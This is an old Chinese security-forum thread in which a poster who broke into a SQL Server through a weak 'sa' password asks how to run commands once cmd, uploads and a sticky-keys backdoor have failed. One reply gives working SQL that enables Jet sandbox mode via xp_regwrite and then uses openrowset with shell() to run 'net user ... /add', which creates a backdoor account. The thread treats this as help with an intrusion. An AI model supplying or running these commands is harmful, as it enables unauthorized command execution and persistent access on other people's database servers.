[讨论]sa的老问题发图讨论之前的老文章方法

小猪！

晶莹剔透§烈日灼然

Rank: 1

帖子: 3
精华: 0
积分: 16
阅读权限: 40
在线时间: 1 小时
注册时间: 2007-11-12
最后登录: 2008-5-10

发短消息
加为好友
当前离线

楼主大中小发表于 2007-12-3 16:16 只看该作者

[讨论]sa的老问题发图讨论之前的老文章方法

议题作者：小猪！
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

今天遇到个sa的弱口令搞了下，下面的图是搞的结果！
得到的结果是cmd用不了，上传也用不了！分离器命令不行！还有就是今天看到有个朋友用分离器执行了命令，然后3389SHIFT5次也不行！
不知道大峡们有什么好的方法没？

TOP

沉渊

晶莹剔透§烈日灼然

Rank: 1

帖子: 25
精华: 0
积分: 179
阅读权限: 40
性别: 男
在线时间: 225 小时
注册时间: 2007-2-11
最后登录: 2008-9-4

发短消息
加为好友
当前离线

沙发大中小发表于 2007-12-29 13:13 只看该作者

权限问题，貌似你这根本就不是sa

Dreamless world……

TOP

逗号

晶莹剔透§烈日灼然

Rank: 1

帖子: 38
精华: 0
积分: 117
阅读权限: 40
在线时间: 31 小时
注册时间: 2005-10-16
最后登录: 2008-11-20

发短消息
加为好友
当前离线

椅子大中小发表于 2008-1-1 16:05 只看该作者

先 select user 一下，看看是不是 dbo 要是的话，就开启沙盘模式搞他
不用xp_cmdshell 执行命令
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user xxxxx xxxx /add")')